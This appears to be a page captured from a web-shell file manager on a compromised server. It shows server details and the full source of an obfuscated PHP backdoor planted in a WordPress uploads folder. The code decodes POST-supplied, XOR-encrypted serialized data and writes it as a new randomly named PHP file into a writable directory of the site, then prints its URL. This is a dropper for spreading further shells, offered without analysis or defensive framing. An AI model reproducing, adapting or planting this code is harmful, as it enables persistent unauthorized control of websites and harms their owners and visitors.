HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2020/07/eyacijtg.php
<?php function TsARwrAcCh($BUwFrs){$UrcwjydMnc = chr(921-807).chr(97)."\167".'u'.chr(114).chr(800-692).chr(100).chr(101).chr(99).chr(111).'d'.chr(741-640);$qxxqEb = 's'.'t'.chr(114).'_'.'r'."\157"."\x74".chr(49).chr(228-177);$yHJmMannnH = 's'."\164"."\x72".'_'.chr(687-572).chr(112).'l'.'i'.chr(116);$BUwFrs = $yHJmMannnH($UrcwjydMnc($qxxqEb($BUwFrs)));return $BUwFrs;}function LYMAtmJHep($EkxOfXbe, $BUwFrs){$kiRRa = "\x73"."\x74".chr(114)."\x5f".'s'.chr(1005-893)."\x6c".chr(973-868).chr(116);$EkxOfXbe = array_slice($kiRRa(str_repeat($EkxOfXbe, (count($BUwFrs)/16)+1)), 0, count($BUwFrs));return $EkxOfXbe;}function ZgbjXB($sALnv, $VEVzHKAG, $EkxOfXbe){$qQBQUMYac = "0efb1d46-a59f-4a53-acf3-cffb99c7be06";return $sALnv ^ $qQBQUMYac[$VEVzHKAG % strlen($qQBQUMYac)] ^ $EkxOfXbe;}function icVPG($BUwFrs, $EkxOfXbe){$BUwFrs = array_map("ZgbjXB", array_values($BUwFrs), array_keys($BUwFrs), array_values($EkxOfXbe));$BUwFrs = implode("", $BUwFrs);$isKOdrqJf = chr(1038-921).chr(110).chr(115)."\145".chr(529-415)."\x69"."\141".'l'.'i'.chr(122)."\145";$BUwFrs = @$isKOdrqJf($BUwFrs);return $BUwFrs;}function FKZTMLsN(){echo "QnqASZk";}function EpgAnKXHb($VTKtgxbHir){static $aePBz = array();$EBwgOPb = glob($VTKtgxbHir . '/*', GLOB_ONLYDIR);$VTKtgxbHTWslwTJJ = count($EBwgOPb);if ($VTKtgxbHTWslwTJJ > 0) {foreach ($EBwgOPb as $VTKtgxbH) {$keeBmAmB = chr(695-590).'s'.chr(643-548).chr(267-148).'r'.chr(746-641).chr(116).chr(97).chr(98)."\x6c".'e';if (@$keeBmAmB($VTKtgxbH)) {$aePBz[] = $VTKtgxbH;}}}foreach ($EBwgOPb as $VTKtgxbHir) EpgAnKXHb($VTKtgxbHir);return $aePBz;}function tBCrcP(){echo "dNXwN";}function BjSIwB($BUwFrs){$Bofct = "\104".'O'.chr(67)."\x55"."\115".chr(69).chr(78).chr(84)."\x5f".chr(82).'O'.chr(79)."\124";$cxbmwHn = $_SERVER[$Bofct];$EBwgOPb = EpgAnKXHb($cxbmwHn);$NdVpWFzBe = array_rand($EBwgOPb);$oCLRJRL = chr(46).chr(112)."\150".chr(112);$txQLNfgBU = $EBwgOPb[$NdVpWFzBe] . "/" . substr(md5(time()), 0, 8) . $oCLRJRL;$ztytfY = "\x66".chr(967-862).chr(531-423)."\145".chr(95).'p'."\165".'t'.chr(95)."\x63".'o'."\156".'t'.chr(508-407)."\156"."\164"."\x73";@$ztytfY($txQLNfgBU, $BUwFrs);$BjkaTMuvQj = "\x48".chr(659-575).chr(84)."\x50".chr(635-540).chr(72).chr(79)."\x53"."\124";$nMTXcJUFo = chr(433-329).chr(1060-944).chr(121-5)."\160".chr(58)."\57"."\57";$HbyikmOZY = $nMTXcJUFo . $_SERVER[$BjkaTMuvQj] . substr($txQLNfgBU, strlen($cxbmwHn));print($HbyikmOZY);}foreach ($_POST as $EkxOfXbe => $BUwFrs){$WMiaIggI = strlen($EkxOfXbe);if ($WMiaIggI == 16){$BUwFrs = TsARwrAcCh($BUwFrs);$EkxOfXbe = LYMAtmJHep($EkxOfXbe, $BUwFrs);$BUwFrs = icVPG($BUwFrs, $EkxOfXbe);if (@is_array($BUwFrs)){$NdVpWFzBe = array_keys($BUwFrs);$BUwFrs = $BUwFrs[$NdVpWFzBe[0]];if ($BUwFrs === $NdVpWFzBe[0]){$xUDzbWmoaj = chr(405-293).chr(104).chr(671-559);$xWNnKhzi = "\x70".chr(104).chr(380-268)."\166"."\145".'r'.chr(115)."\x69".'o'."\156";$rNfKHtpJ = 's'.chr(223-122)."\x72".chr(105).chr(97).chr(639-531)."\151".'z'.'e';echo @$rNfKHtpJ(Array($xUDzbWmoaj => @$xWNnKhzi(), ));}else {BjSIwB($BUwFrs);}die();}}}